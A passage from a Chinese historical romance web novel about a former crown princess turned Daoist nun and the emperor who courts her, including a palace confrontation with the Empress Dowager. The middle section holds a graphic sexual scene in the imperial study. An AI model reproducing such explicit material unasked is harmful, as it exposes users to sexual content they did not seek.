已经到了戌时,案头香熄,灯火燃起,烛光温存,秋夜微凉,但这房中炙热的春意却尚未退却,空气里还残留着他野性的腥膻味,宛如浓郁的石楠花。 傅棠梨闻得面红耳赤,娇气地捂着鼻子,叫他把窗牖支起,透透风。 少顷,赵上钧命人传膳进来,他抱着傅棠梨喂了些清淡软烂的吃食。她恹恹的,吃得不多,他又费了好大力气哄她。 就在两个人絮絮哝哝地说话着,却听见玄安在外头用力地咳了好几下,小心翼翼地道:“师兄,傅家的大夫人来了,要见怀真师姐,依您的吩咐,任何人不许进,但她这会儿在外头嚷嚷得厉害,还请师兄示下。” 赵上钧目光一动,不知何故,沉吟了一下。 傅棠梨勉强从赵上钧的怀里挣脱出来,巍巍颤颤地支起身子:“大伯母,大晚上过来?”她喘了几下,犹犹豫豫的,还是道,“保不齐有什么要紧事,让她进来吧。” 但眼下这屋子里有个碍眼的东西,高大、伟岸,一览无余,声势惊人,万万不可被外人所见。 她蹙着眉头,指了指一侧的碧纱橱,示意赵上钧回避一下,还用脚尖嫌弃地拨拉了一下他搭在榻上的衣裳。 赵上钧挑了挑眉毛,端坐不动。 傅棠梨瞥了他一眼,眼角嫣红,带着一点泪光盈盈,又软软地戳了他一下。 赵上钧这才起身,拾起衣裳,施施然走到碧纱橱后去。 少顷,玄安领着严氏进来。 傅棠梨待要站起相迎,才一着力,就“嘶”的一声,软了下去,扶着腰,皱着眉头,直抽气。 严氏慌忙上前:“哎呦,你这怎么了,可是伤到哪儿了?” 傅棠梨也不用装,这会儿说起话来,声音软绵绵的,还打着颤儿:“今儿早上观里出了点事,乱哄哄的,我被人撞了一下,闪着腰了,就这会儿有些疼,不打紧,养两天就好,只是大伯母要恕我失礼,不能起身。” “不必、不必,你坐着,可别动了。”严氏摆了摆手,念了一声“福生无量天尊”,她的脸上刚刚还带着焦虑之色,这下子倒像是松了一口气的神态。 “我这趟过来,可不就是担心这个吗,今儿大早上起,京城中就到处戒备,不许人走动,到晚上才除了禁令,你大伯从官署回来,说是有反贼杀上元真宫,还炸毁了许多屋舍,火烧了半边天,吓人得很,我就慌慌地过来了,如今看你没大碍,我心里这块石头才算是放下了。” 大伯母还是如从前一般,噼里啪啦一堆话,傅棠梨听了莞尔,也不怪她来得不是时候,抬手请她坐下慢慢说话。 玄安出去端茶。 严氏坐下,这才打量了一下四周的情形,还算满意,点了点头:“你这住处,倒是合宜,就是太素净了些,你青春年少的,不必如此守成,依我看,家具摆设多少添置些,往后住着呢,心里也舒坦。” 傅棠梨抿嘴,浅浅地笑了一下:“我出家修道,比不得先前人间富贵,这样就好。” 说到这个,严氏一拍手,看了看左右,见四下无人,压低了声音:“幸亏你出家了,和幽王脱了干系,知道吗,幽王病故,圣上命幽王妃殉葬。”她啧啧了两声,面有余悸之色,“你说,多惨。” 傅棠梨这才知道林婉卿竟被勒令殉葬,她记起了当日赵上钧之言,看来这个男人果然记仇,言出必行的。 她心里一阵唏嘘,摇了摇头,也不知该说什么。 严氏看傅棠梨的情形,以为她心绪不佳,当下凑近了些,推心置腹地安慰道:“所以我说,雀娘你福大命大,逃过这一劫,是必然有后福的,单说眼下这光景,你也不必太过忧愁,你韩家的表兄这回立下大功,颇得圣上倚重,等过了这阵子风头,叫他去圣驾前为你求个情,放你离开这元真宫,往后的日子我们再核计。” 对于严氏的这一片好心,傅棠梨不好应答,只能含含糊糊地道:“如今这样也还好。” “嗐,好什么,你一个年轻轻的女郎,在这道观中苦熬,我都替你心疼。”严氏是个热心肠的,自己说着,觉得十分有理,顺带帮傅棠梨把后头都考虑齐全了。 “听我的,一准儿没错,你父亲和母亲都不着调,一点指望不上,你呢,将来若能离开这里,倒不如随你表兄回渭州去,天高皇帝远,你自还俗去,也没人拘束你,到时候,找个稳妥的男人,经过幽王这一事,须知道,什么荣华富贵都是虚的,要紧的是,守本分、真心对你好、能照顾你。” 傅棠梨心道要糟,还来不及阻止,果然,听得碧纱橱后面传来“哼”的一声,显得那男人十分不悦。 严氏惊起:“什么人?” 赵上钧缓缓从碧纱橱后踱步而出,他此时已经披上了衣裳,道袍的领口微微敞开,头发尚未梳起,如同漆黑的鸦羽一般,随意地落在肩头,但他身量高硕,气度清贵,这种慵懒的姿态,反而显得如同谪仙人一般。 严氏何尝见过这般出色的人物,一时被唬住了,惊疑不定:“你、你是何人?” 傅棠梨面上飞起两片红霞,硬着头皮试图解释:“呃,这、这个是观里的师兄……” “我是梨花的情郎。”赵上钧神态自若地截断了傅棠梨的话。 这个男人!他在说什么? 傅棠梨的后半截话都吓没了,她瞪圆了眼睛,疑心自己听错了。 严氏那是相当震惊,她的嘴巴张了又阖,阖了又张,半晌,艰难地转过头,对傅棠梨干巴巴地笑了一下:“雀娘,我知道你一向手脚利索,但这……未免也太过利索了些,这、这、这妥当吗?” “不、不是、我没有、他瞎说……”傅棠梨眼角泛起了一点泪花,水光盈盈的,也不知是气得、还是羞得,说话都结巴了。 赵上钧走到傅棠梨身边,扶住她,将手揽在她的肩膀上,无声地昭示着所有权,他微笑着,不复半点平日的威严冷肃,确实如同一个情郎,温柔而体贴,轻声道:“事到如今,难道你连个情郎的名分都不愿给我吗?” 这个男人,困于“名分”二字太久,如今竟连体面都不顾了。 傅棠梨一时无语凝噎。 赵上钧的手指不着痕迹地在傅棠梨的脖颈处轻轻捏了一下,语气甚至带着诱惑的意味:“莫不是我哪里做得还不够好?叫你不满意,你说,我改。” “你……”,傅棠梨脖颈发酥,打了个哆嗦,摇摇欲坠,看着又要晕过去了。 赵上钧抬眼看着严氏,慢条斯理地道:“我,守本分、真心对她好、能照顾她,渭州路远,不必叫她奔波,留在长安就好,傅夫人还请放宽心。” 这,哪里看得出来守本分? 严氏嘴角抽了一下,有心说两句场面话,替傅棠梨撑撑娘家人的脸面,但这道人不知是何来路,容姿华贵,宛如天人一般,即便是语气和蔼,神态间也自有威仪浓重,扑面而来,叫人无法发出一点置疑。 傅棠梨呻吟了一声,捂住了脸,气息微弱:“你别说了,好吗?” 赵上钧笑而不语。 严氏勉强收拾住心神,战战兢兢地道:“可是,我们雀娘奉旨出家为女冠,为先帝祈福,这元真宫还是清修之地,由不得差池,这位道长,你莫要害了她。” “道法自然,一切顺从天意。”赵上钧说得玄之又玄,他看了傅棠梨一眼,目中含笑,“这普天之下,再没有比我更爱护梨花的人了,我又怎会害她?至于日后还俗婚嫁之事,不必劳烦西宁伯世子,我出身世家大族,朝中亦有些交道,将来自会安排妥当,断无怠慢之处,傅夫人不必为此忧虑。” “这……”严氏还待再追问两句。 但傅棠梨此时脸皮儿烧得“咕噜咕噜”的,要冒泡泡了,急忙打断了严氏的话:“大伯母,我眼下真真无碍,您先回吧,改日我去家里头,和您慢慢说。” “哦,说到家里头。”严氏又记了起来,叮嘱道,“如今我们搬家了,原先的宅子被朝廷下旨查封了,你大伯管同僚租借了一处院子,在南城的永宁巷,巷子口进去二十丈,我们一大家子这会儿都住那边,你别走错地儿,多早晚回来,打发人和我说一声,我来接你。” “好。” 傅棠梨尚未回答,赵上钧已经替她应下了,他今日心绪颇佳,对严氏和颜悦色:“我记下了,得空,带梨花一道过去。” 名不正言不顺,无亲无故的,这个道人要上门作甚? 严氏心里直犯嘀咕,但慑于赵上钧的气度威势,口中却不由喏喏,很快就和傅棠梨道别,出去了。 待严氏走后,傅棠梨想起方才赵上钧的一番言语,怀疑他另有图谋,不由胆战心惊,待要追问两句,却被赵上钧搂住,一气吻得她七荤八素的,脑瓜子糊成一团,又问不出来了。 “别想太多,一切有我,自会为你安排服帖。”他把她按回榻上,揉着她,就如旧日所想的,把她揉成软软的一团,窝在他的胸口处,用指尖拨弄着,柔声哄她,“梨花,你只需知道,我是你的情郎、你的夫婿、你一生的良人,我早晚要昭告天下,堂堂正正地娶你为妻,我已经……等得太久、太久了。” “嗯?”傅棠梨从鼻子里挤出一点疑惑的声音,软软糊糊的,很快又被他含住了。 夜深处,烛光轻摇,小山炉中沉香尚暖,细烟袅袅,旖旎其中,有未竟事宜,须得再续,暂不谈其他。 —————————— 元真宫事变后,临川公主赐死,李颜及王永敬余党尽数剿灭,与之勾结的王氏一族被赵上钧趁机连根拔起,以此震慑各大世家,但因布下的那场陷阱,元真宫损毁惨重,青阳真人天天在赵上钧面前抹眼泪,请求拨款重建元真宫。 原先隐匿于北庭及潞州等地的玄甲军人马重归长安,旧制复立,各有分赏。渭州、徐州、蜀州等诸方执政官员皆进京述职,以表忠心。而另一边,先前因工部尚书林商胡作非为,各州府水利皆有不妥之处,如今要修复起来,又是一项大工程。 以上种种,让赵上钧忙得脚不沾地,以至于这日竟无暇过来元真宫。 真真难得,身边没了个烦人的大桩物件,傅棠梨乐得清闲,抄了半卷经书,又在榻上歪了半天,好不容易把疲软的身子给缓了过来,还没来得及松一口气,将近日暮时,宫里来了人。 却是高宫正备了车辇,亲自来接,口称奉冯太后懿旨,有请怀真师父入宫讲经解道。 傅棠梨讶然,勉强从榻上起身:“太后何雅兴?” 高宫正站在帘外,举袖掩口,悄声道:“其实是圣上今日不得空,又想见娘子,假借了太后的名头,叫我来接娘子入宫。” 傅棠梨红了脸。 没奈何,扭扭捏捏的,登车而去。 至内廷,黄昏将至,庭燎燃起,照亮四方琼楼玉阁,宛若明昼。 高宫正引傅棠梨到甘露殿,先进偏殿,取出一套内监服饰予她,抿嘴笑道:“圣上和几位大人还在议事,娘子换身衣裳进去,不至引人注目。” 说到扮男装,傅棠梨那是轻车熟路了,她依言,把头发盘起,换上内监的服饰,瞧着就活脱脱是个小黄门了。 高宫正捧了笔墨递予傅棠梨。 傅棠梨会意,接过笔墨,低着头,进了甘露殿。 甘露殿乃是天子御书房,此刻,兽炉中燃着龙涎香,雾气如龙翔,宛转盘绕。 赵上钧正高居上首,他不过穿了一身常服,神色也如平常,但如今他帝王之威愈盛,便是这样随意坐着,足以令下方的大臣们战战兢兢,不敢有丝毫松懈。 户部尚书陈则先前被元延帝贬出京城,赵上钧上位后,又将他召回长安,他对这位新帝敬畏且感激,正竭力表达忠心:“臣拨银八千两,用于渭水两岸河道清淤,款项已经交付工部,又齐州、怀州两地堤坝被炸,损毁严重,两地刺史所报,臣遣快马核实,确凿无疑,已在核算各类支度,眼下唯水利乃大项……” 赵上钧的侧后方另摆着一方案几,皇帝的起居郎正在奋笔疾书。 傅棠梨垂首上前,假作奉笔墨。 赵上钧神色不动,指了指起居郎:“你,下去。” 起居郎不敢有违,喏喏而退,傅棠梨俯身低眉,过去坐在那案几前,拿起了笔。 殿中灯火极盛,金柱高立,珠帘低垂,却在赵上钧的后方笼下一片阴影,她坐于珠帘侧,恰恰掩住面容。 下方大臣只当皇帝换了个人执笔录事,并没有在意。 一员大臣接过陈则的话,继续禀奏:“臣到工部未久,诸般事务皆生疏,蒙陛下圣恩,不敢怠慢,丹水水文与渭水相近,臣治渭水多年,略有心得,臣才与陈大人商议,愿赴齐州当地,一则探查水情,二则核算钱款细项……” 这大臣的声音听得耳熟,傅棠梨抬眼望了一下,发现又是个熟人。 原咸阳县令何友松,这人不但治水有才干,更兼具铮铮铁骨,当初被林贵妃百般拷打,硬是没供出太子妃与淮王之事,赵上钧颇嘉许,擢其连升三级,现于工部任侍郎之职。 傅棠梨见及何友松,不期然又想起在永寿镇的那些事儿,脸上一热,急忙低头。 又有新任的工部尚书上前,补充何友松未竟之处。 赵上钧正襟危坐,满面肃容,却在下面偷偷地伸过手来,捏住了傅棠梨的脚踝,用指腹摩挲着。 她赶紧把脚缩回来,羞答答地瞪了他一眼。 他好似回眸望了一眼,目光相触,温柔而缱绻,她的脸又开始发热,急急垂眸。 可恨这人却做若无其事状,转眼又在大臣面前做出一派威严的仪态。 偏他烦人,既有正事要办,何必巴巴地把她叫进宫来,怪不好意思的。 傅棠梨心里嘀嘀咕咕的,拿笔随意勾了两下。 她不是起居郎,记不下皇帝的言行举止,这会儿百无聊赖,又偷眼看了看赵上钧。 这个角度,恰好瞧见他的侧面,轮廓隽永分明,似刀锋雕琢而成,睫毛长得特别惹眼,浓郁如同鸦羽一般,当他垂眸的时候,会在眼底落下幽深的影子,叫人分辨不出他的喜怒。 啐,焉知这会儿不是假正经。 傅棠梨思量片刻,咬着嘴唇笑了起来,笔尖蘸了墨,在纸上开始涂涂抹抹,一会儿一会儿抬头看他一眼,笑一下,再涂涂抹抹。 她太过于专注了,以至于大臣们退下去的时候都没有注意到,再一抬头,赵上钧已经靠了过来,那张俊美的面容直接杵在她的面前。 “写什么?” 傅棠梨有些心虚,抓着那纸张,下意识地想把它揉成一团:“没什么,别看。” 赵上钧手臂长而有力,一手按住她,一手取过了那纸。 她在画他。 显然傅二娘子学过丹青,寥寥数笔,自成神韵,但见画中人剑眉斜飞,朗目如星,鼻梁高挺,虽则面容没有十分像,但那笔锋之下,画中人神态冷峻,气势如剑,似要破纸而出,除了赵上钧,还会有谁呢。 但赵上钧却不太满意,他慢慢地逼近,贴住她,咬她的耳朵:“嗯,你瞧着,我有这么凶吗?” 耳朵发烫,傅棠梨眼波流转,瞥他一眼:“还说呢,喏,可不是现在就在凶我。” 殿门已经掩上,案几边,赤金的饕餮张开大口,吐出龙涎,如同山间的岚雾,隐约不可捉摸,那是一种奢靡而曼妙的香气,在华灯的影子中浮动,扰人心思。 “我想你,一天不见就想得不行,怎么会凶你呢,不要总来诋毁我。”赵上钧凑过去,轻轻地吻她。 他的重量压在她身上,她承受不住,向后仰倒,两个人一起跌坐在地,赵上钧的手不知道何时伸了过来,只一拉,解开了她的衣带。 领口散开,危峰堆雪,颤了一下,呼之欲出。 “啊!”傅棠梨惊呼了一声,下意识地捂住胸口,侧身、弯腰,想要遮掩住这一片春光。 赵上钧顺势一按,从背后压住了她,手指一勾,罗衫褪下,露出后背大片雪白的凝脂,以及,一截小蛮腰,盈盈不堪一握。 华美的宫殿,雪松木地板上铺着的宝相花锦纹织金毯,带着一层细腻的、绒毛般的触感,贴在上面,好似身上的毛孔都舒张开了,有些麻麻的。 傅棠梨抖了一下,虽然四下无人,但她还是不敢大声,嘤嘤似蚊呐:“做什么呢,讨人嫌得很,放开我。” 赵上钧好整以暇,一只手制住她,另一只手拿起一支笔来,皇帝的案头放着批阅奏折的朱墨,色如丹砂,他蘸了这墨,在傅棠梨的肩胛骨处落下一笔。 很痒。 傅棠梨咬住嘴唇,忍不住笑了一下,又羞又恼:“别闹我。” “嘘,别动。”赵上钧的笔锋开始在她背上游走,柔声道,“我也画一样东西,叫梨花猜猜看,画的是什么,若猜得出来,我就放了你,若猜不出来。”他微妙地停顿了一下,轻轻地笑了起来,“我今晚就要好好罚你一顿。” 他要罚什么,不用说也知道。 “不许你乱涂乱画的,我要恼你了。”傅棠梨挣扎着想要逃脱,但无非也就像是一只娇小的鸟雀,扑腾着,扑不出赵上钧的手心,反而像是挑逗一般,脂粉滑腻,蹭来蹭去,乌云般的秀发散开一地,宛如流水。 肌肤如雪,朱墨嫣红,似雪中落下乱梅无数。 赵上钧的呼吸沉了下来,他又蘸了一抹墨,笔锋勾勒,时轻时重、时缓时急,渐渐往下走,到了腰窝,还在往下,到尾椎,打了个圈圈。 傅棠梨激烈地喘了一下,几乎要弹跳起来:“痒!” “嗯?那我帮你挠挠。”赵上钧低低地、这么说着,俯下身去,舔了舔。 “呜……”傅棠梨难耐地仰起了脖子,“道长,不行、不要了。” “道长”,这样两个字,从她口中吐出,似乎是一种求饶的意味,但软得一塌糊涂,大抵更是诱惑。 赵上钧的笔锋继续向下一滑,软软的笔尖戳进去。 傅棠梨浑身发抖,不知道是痒的,或者是别的什么原因,她喘着,上气不接下气,断断续续地叫着他:“道、道长……” 天气微凉,但他的手掌火热,贴在那里,一阵阵发烫,背上冒出了薄薄的一层汗,黏黏腻腻。 笔尖的羊毫转来转去,不用蘸墨,已经很湿了。 “知道我画了什么吗?”赵上钧几乎压在她的背上,耳语一般问她,他的气息是雪后的白梅、山林中的乌木,一点微苦,而此时,焚烧起来,如同野兽炙热的呼吸,喷在她的脖颈处,叫她颤栗。 傅棠梨情不自禁地哆嗦,带着哭腔,哀求他:“我笨,猜不出来,不玩了,你走开。” 赵上钧仿佛叹息了一声:“是阴阳和合符啊,调和阴阳,如鱼入水,如漆投胶,梨花,你觉得我这符箓画得如何?有效否?要不要……再修改一二?” 第75章 第75章道长,从头到尾,我只有…… “很好、很好,有效,够了。”傅棠梨忙不迭地应承,挪动着身子,想要爬走。 但笔尖还卡在那里,她动了一下,杵得难受,闷哼了一声,蜷起了腿,眼角缀着泪珠子,回眸瞪了赵上钧一眼,烛火摇曳,她的眼眸粉光迷离,似桥下惊鸿,春波照影。 令人沉醉。 “既然如此,那就让我试试效果如何。”赵上钧终于扔下笔,又将她翻了一个面,俯身下去。 庭燎的烛光陡然暗了一下,复又大放光明,像是被人推搡着,剧烈摇动,撞得珍珠帘子四下乱散,铮琮作响,碎珠飞溅。 赵上钧固有帝王隆威,似大树参天立于山崖,树根苍劲虬结,挟骁悍之势,屡屡征伐,无人能敌。 凝脂堆雪都被他碾轧成泥泞,一阵阵溅起、一阵阵乱颤。 她最近越发娇气起来,动不动就哭,哭得鼻尖通红,抽抽搭搭的,声音都被搅得支离破碎:“难受,地上硬,你忒粗鲁……” 赵上钧不答话,直接抄起她的腰,就着那种姿势,将她从地上抱了起来,大步向后殿走去,随着他急促的脚步,烛火的影子依旧摇摆不停,剧烈而激荡。 傅棠梨倏然张开嘴,却发不出一点声音,只能拼命地抽着气,好似马上就要晕厥过去,汗水一阵阵地冒出来,浑身都湿透了,滴滴答答地落在他手心里,而后沿着他的手臂流淌下去,到处都是黏腻的。 她的味道,是蜜糖,甜得要命,一口一口吃掉她,一点儿都不剩。 珍珠帘子兀然被扯断,窸窸窣窣洒了满地,跳跃着,打着旋儿。 两个人一起重重地跌在软榻上,陷入其中,十指交错,紧紧地贴住,毫无间隙。 庭燎高照,纤毫毕现。 …… 胡天胡地的一通闹腾,磨人得很,把傅棠梨折腾得死去活来,苦不堪言。 也不知道折腾了多久,她实在太累了,昏昏沉沉地睡了一会儿,待到醒来时,赵上钧已经不在身边了。 狻猊燃香,烛影摇红,芙蓉帐中罗衾犹暖,空气中犹有腥膻气息浮动,叫人酥软。 宫人上前,躬身致意:“北庭大都护张大人求见,圣上去了宣政殿,嘱咐勿扰娘子,请娘子好好歇着,圣上过会儿就回来陪伴娘子。” 傅棠梨打了个呵欠,迷迷糊糊地半睁着眼:“这会儿几时了?” “戌时过半。” 傅棠梨一激灵,困意全无,赶紧起身:“这么晚?” 宫人不明所以然,簇拥上前,有捧衫裙服侍更衣者,有端玉盆服侍洗漱者、有奉水瓯服侍饮水者,各自恭谨殷勤。 “娘子看着颇疲累,怎不多歇歇?” 傅棠梨摇头:“我一个女冠,在御书房逗留这么许久,不妥、不妥、大不妥,可不能叫人瞧见了,你们快把我的道袍取 来,我得赶紧回元真宫去。” 宫人闻言惶恐:“过会儿圣上就回来了,若不见娘子,岂不生气?” 傅棠梨皱眉,一脸嫌弃:“谁理他呢。” 宫人再三劝说,拗不过,只能依着她,将她的道袍取来。 傅棠梨装束停当,揽镜照了照,依旧面若桃花,眼波含水,脖颈上还有红斑点点,惹眼得很,她暗暗“啐”了一声,心中羞恼,随手从榻边取了一件大氅披着,垂下来掩住身形,便匆匆出了甘露殿。 因她不欲张扬,当下只有两个宫人随行。 今夜月色良好,檐角连翘,朱瓦流光,遍洒银辉,依稀还是旧时模样。 傅棠梨刚走出没多远,迎面就撞见一群宫人挑着灯,走了过来。 面对面的,回避不及。 打头一个年长的女官,见了傅棠梨,笑着迎上前来,俯身致意:“怀真师父,可巧,正找你呢。” 这是冯太后身边的闵尚宫,也是内廷女官中有资历的老人家,往日和太子妃打过几次照面,算得上熟人。 但如今傅棠梨已经不是太子妃了,这当口就显得有些微妙起来。 傅棠梨略客气回礼:“闵姑姑。” 闵尚宫笑容不变:“怀真师父为先帝祈福,孝心可表,太后近来追思先帝,欲请怀真师父前往宫中一叙,我适才往元真宫去,道人们说你已经进宫了,可不是巧了,那就请随我一道拜见太后。” 不像巧合,反倒像是已经在这条路上蹲守许久。 傅棠梨心中一“咯噔”,脚步顿住,略一踌躇。 闵尚宫面露诧异:“怎么,莫非怀真师父进宫并非拜见太后,而是另有缘由?” 偏偏傅棠梨是个极好脸面的,这情形,能说什么?只得故做镇定之态:“并无他事,请姑姑带路吧。” 当下遂同往。 至长乐宫。 殿中灯火通明,玉座水晶帘,锦屏烟霞纱,碧玺雕琢的莲花炉中点着沉水蜜香,奢华更甚往昔。 但冯太后已经没有旧日的容华了,这短短的半年,她仿佛一下子苍老了许多,衰衰白发几乎承不住华丽的凤冠,浓重的脂粉已经无法遮掩她树皮般的皱纹,正因如此,当她望向傅棠梨的时候,那神情显得尤其阴郁。 冯太后的左手边站着汝宁公主,而右手边,却站着三个女郎。 傅棠梨认得其中一人,乃是太常寺卿何家的六娘子,是长安城中出了名的美人儿,另外两个,甚是面生,但看其衣饰,亦是高门贵女。三人皆是绝色,各有千秋,艳光灼灼,一时间,殿中灯火竟也为之失色。 这般情形,颇为古怪,不知太后有何用意。傅棠梨暗自揣摩,面上却不敢露出端倪,规规矩矩地躬身行礼:“怀真见过太后娘娘。” 冯太后并没有叫马上命她平身,而是用一种审度的、恶意的目光继续盯着她。 大殿中一时无声。 傅棠梨缓缓地直起腰,若无其事,面上恰到好处地现出温顺的表情:“太后娘娘既有传唤,可要听怀真为您讲一讲三官感应妙经?先民服王道而敬天地水三官,感应自然,可福泽世人。” 冯太后终于冷笑起来:“哀家已经老了,受不住这福泽,不听也罢,只是可怜元嘉,年轻轻的,去的那样早,若是当初知晓,该叫你给他多念几卷经,是不是能庇佑他再活几年?” 她在后宫度过了大半辈子,见多了种种内廷秘辛,再早些,也曾听闻过淮王与太子妃不雅的传闻,原先不过置之一笑,如今回想,方才恍然大悟,什么太子妃出家祈福、什么幽王病故,全都是骗人的,可怜她的孙儿,竟会为了一个女人的缘故,死在自己的叔叔手中。 冯太后无法去责怪赵上钧,对于这个儿子,她本来就不敢亲近,到如今,更是生出畏惧之情,但却忍不住对傅棠梨恨之入骨,今日把她叫来,就是想要刻意为难她。 傅棠梨一贯很沉得住气,听到冯太后提及赵元嘉,不过垂下眼帘,平静地道:“幽王病故,殊为可痛,只叹天不假英年,非人力所能挽,还请太后节哀。” 节哀,她还有脸说节哀二字? 冯太后如今听什么都觉得刺耳,她用怨恨的目光逼视傅棠梨:“哀家心痛欲碎,难以节制,你呢?你对幽王之死,可曾有一丝一毫愧疚之情?” “太后这话,我听不懂,也不好回您。”傅棠梨依然恭敬,神情并没有什么波动。 冯太后语气森冷:“哀家还记得,其实你才是元嘉的妻子,元嘉活着的时候,爱你至深,他若泉下有灵,定然是想要你下去陪他,而不是那个幽王妃,傅氏,你若还有良心,就该自请殉葬,才不辜负元嘉对你的一片深情。” 汝宁公主大惊,战战兢兢地开口劝道:“皇祖母,这怎么能……” “你闭嘴!”冯太后满腔怨气正无从发泄,厉声呵斥汝宁公主,“为什么不能?夫妻本是一体,元嘉都死了,她为什么不去死?” “太后此言差矣。”傅棠梨倒是坦然,语气还是温和的,“圣上命我出家,我已斩断尘缘,幽王为谁,与我又有什么干系呢?” 冯太后眉毛一竖,刚要说话,忽然注意到了傅棠梨身上披的那件大氅,玄黑底色,殿中灯火辉煌,照着那上面的刺金暗纹,俨然正是五爪金龙。 这天底下,除了圣上,有谁敢用这样的纹案呢? 她怒火更盛,几乎拍案:“好一个斩断尘缘,哀家且问你,你身上这俗家的衣裳又是从哪里来的?莫非是暗度尘缘?” 暗度尘缘,这个词,听过去就尴尬得很。 冯太后这么一说,殿中众人的目光“刷”的一下,都望了过来,当即也认出了那件大氅的异样之处,心头皆是一震,旁边站的那三个女郎,更是面色各异。 那何家六娘子尤为年少,沉不住气,当即踏前一步,面色不善,就要开口,却被身边的同伴拉了一把,朝她摆了摆手。 何六娘子这才止步,“哼”了一声,骄傲地扭过脸去。 傅棠梨在心底暗暗把赵上钧来来回回骂了好几遍,但在这光景下,她却愈发沉稳,扯下那件大氅,拿在手里,看了一眼,轻描淡写地道:“天凉,风大,适才进宫的时候,高宫正随手取了一件衣裳给我挡风,或许是她拿错了吧,回头还过去便是,不值什么大事。” 一本正经,八面风不动,俨然做泼皮无赖状。 冯太后简直要气笑了,她恨恨地喘了几口气,复又露出轻蔑之色,对傅棠梨道:“哀家不和你逞这口舌之争,哀家只奉劝你一句,莫要自视过高,你不过残花败柳之身,叫人图几日新奇罢了,怎么,你还当能长久得了吗?” 她指了指身边的三位女郎:“她们才是正正经经的名门闺秀,德言容功无一不妙,近日朝中大臣屡屡上奏,请立新后,哀家正欲在此择一人,你看看,以她们的美貌,胜你百倍,哪个不比你合宜?你曾做过元嘉的太子妃,怎么,难道还想做当今圣上的皇后吗?真真荒谬!” “朕倒想问问太后,这有何荒谬之处?” 随着这低沉的声音,赵上钧走了进来,他的步子迈得很大,行动间带起风,压得殿中的灯火都暗了一下,摇摆不定。 冯太后一惊,不觉有些慌张,站了起来:“五郎……圣上,你怎么来了?” “这究竟有何荒谬之处呢?”赵上钧神情肃杀,直视冯太后,重复问了一遍。 他的目光冰冷,没有丝毫情绪,当他还是淮王时,铁血铁腕,杀伐刚烈,已令世人畏若修罗,如今更挟天子之怒,气势威重如山岳,大殿之中,骤然如凛冬降临,令人瑟瑟发抖。 左右众人皆胆寒,齐齐跪下,俯首不敢言。 冯太后嘴唇颤抖,一句话也说不出来。 傅棠梨轻轻叹气:“没什么大事,罢了。” 赵上钧难得没有听从傅棠梨的话,他将目光转过去,沉沉地唤了一声:“汝宁。” 汝宁公主跪在地上,不敢抬头:“在。” “太后前面还说了什么,告诉朕。”赵上钧的身量很高,当他环顾众人之际,那种居高临下的感觉格外明显,君威沉重,不可抗拒。 汝宁公主头皮发麻,不敢有所隐瞒,一五一十地将冯太后适才的言语都说了出来,她脑子清晰,口齿伶俐,说得几乎一字不差。 赵上钧的面上没有一丝表情,但随着他粗重的呼吸声,这大殿中的气氛越来越沉,灯火太盛,几乎要把所有人的背脊都压弯到地上去。 当汝宁公主说到:“……元嘉都死了,她为什么不去死”时,眼看着赵上钧的情形不对,傅棠梨赶紧打断了汝宁公主的话:“好了,别说了!” 汝宁公主迟疑了一下,偷偷看了看赵上钧,后背涔涔地冒出了一袭冷汗,下面的话她不敢再说。 冯太后惊惧难抑,她几乎站立不稳,手扶着案几,勉强为自己辩解:“哀家只是对圣上关爱过切……” “朕不需要。”赵上钧的语气沉缓、威严不容任何人分辨。 哪怕冯太后并不熟悉他,也知道他此时所蕴含的怒意,冯太后心中逐渐生出一种莫名的恐惧,她无法相信自己的直觉,喃喃地道:“圣上、圣上……莫非要降罪于哀家吗?就因为哀家对傅氏说错了几句话,你就要降罪于你的母亲?” 赵上钧慢慢地踏前一步,他的眼眸沉若深渊,一片浓黑:“朕曾困于誓言,屈居人下,每每思及此处,辄悔不当初,当初朕把皇位让出去的时候,从来没有想过有朝一日,连至爱也要拱手让人。” 他突兀地笑了一下,声音变得更轻了,连语速都变得缓慢:“此乃朕毕生之耻,噬骨之恨,而如今,太后却在问,夫妻一体,元嘉死了,她为什么不去死,太后何以如此刻薄,要往朕的心口捅刀?” 冯太后腿脚发软,情不自禁地想要后退,但退无可退,重又跌坐回玉座上,脸色惨白:“不是,五郎……” “朕不是好人。”赵上钧的语气变得温和起来,但他的眼中不知何时已经浮现出一层血色,暴戾而森冷,“太后知道的,大兄朕都杀得,这天下没有人朕杀不得。” 冯太后如遭雷霆,骇然几欲晕厥。 “道长。”傅棠梨实在忍不住,偷偷地伸过手去,拉了拉他的袖子,轻声道,“冷静些儿,别为这个喊打喊杀的,若张扬出去,反而惹得我要被人笑话。”她顿了一下,又补了一句,“这令我颇为惶恐。” 赵上钧回眸,看了她一眼,微微地叹了一口气,抬起手,摸了摸她的头,虽则他还是威严之貌,但大殿中那种令人窒息的感觉骤然散去。 下方跪倒的众人汗水已经湿透了后背,此时一片冰凉凉的。 赵上钧环顾四下,略一沉吟,淡淡地道:“太后岁既长,日后就在长乐宫中颐养天年吧,别和朝中那些老学究掺和,册立新后是朕自己的事,还轮不到旁人来主张,太后不是疼爱元嘉吗,若得闲,抄抄经书也好,就当替元嘉祈福吧,别的事情,一概不要操心了。” 这是要将冯太后幽禁于长乐宫中,念经修道。 左右闻言震惊,谁也料不到冯太后今日一时心血来潮,竟惹来这般结局,果然是君威如雷霆,不可冒犯。 而冯太后已经说不出话来,她一脸茫然之色,好像还不能分辨出到底发生了什么,她的嘴巴张了张,想要再说两句,但临到末了,却发现不知道能和这个儿子说些什么,她最终闭嘴,一滴浑浊的泪水从眼中流出,缓缓地从枯败的脸颊上滑过。 赵上钧转身,朝傅棠梨伸出手,和她说话的时候,他重又变得温柔起来:“走吧。” 当着这么多人的面,傅棠梨垂首不语,咳了两声,双手笼在袖中,保持着她的端庄仪态,自顾自走了。 赵上钧笑了一下,若无其事地收回手,跟了上去。 道旁宫人皆跪,触首于地。 月光如流水,安静地流淌,那诸般琼楼玉宇宛如水洗过,一派庄严洁净,远远地,金吾卫的士兵守护在宫门外,见赵上钧至,齐齐俯首,他们的长戟在月光下映出白色的光。 赵上钧加快脚步,走到傅棠梨的身边,握住她的手。 傅棠梨甩了两下,没能甩开,不由压低了声音,道:“你真是没个顾虑,当着那么多人的面呢,什么都说。” 赵上钧的手指在她的掌心挠了挠,表示安抚:“你放心,看看,我方才那么凶,她们都怕了,没人敢多嘴的。” 说到这个,傅棠梨又要埋怨:“好端端的,你发那么大火作甚?一提到赵元嘉你就这样,仿佛踩着你尾巴似的,老实说,你是不是怪我……” 这话没说完,赵上钧猛地把她扯过来,捧住她的脸,气势汹汹地吻了过来,把她的嘴堵上了。 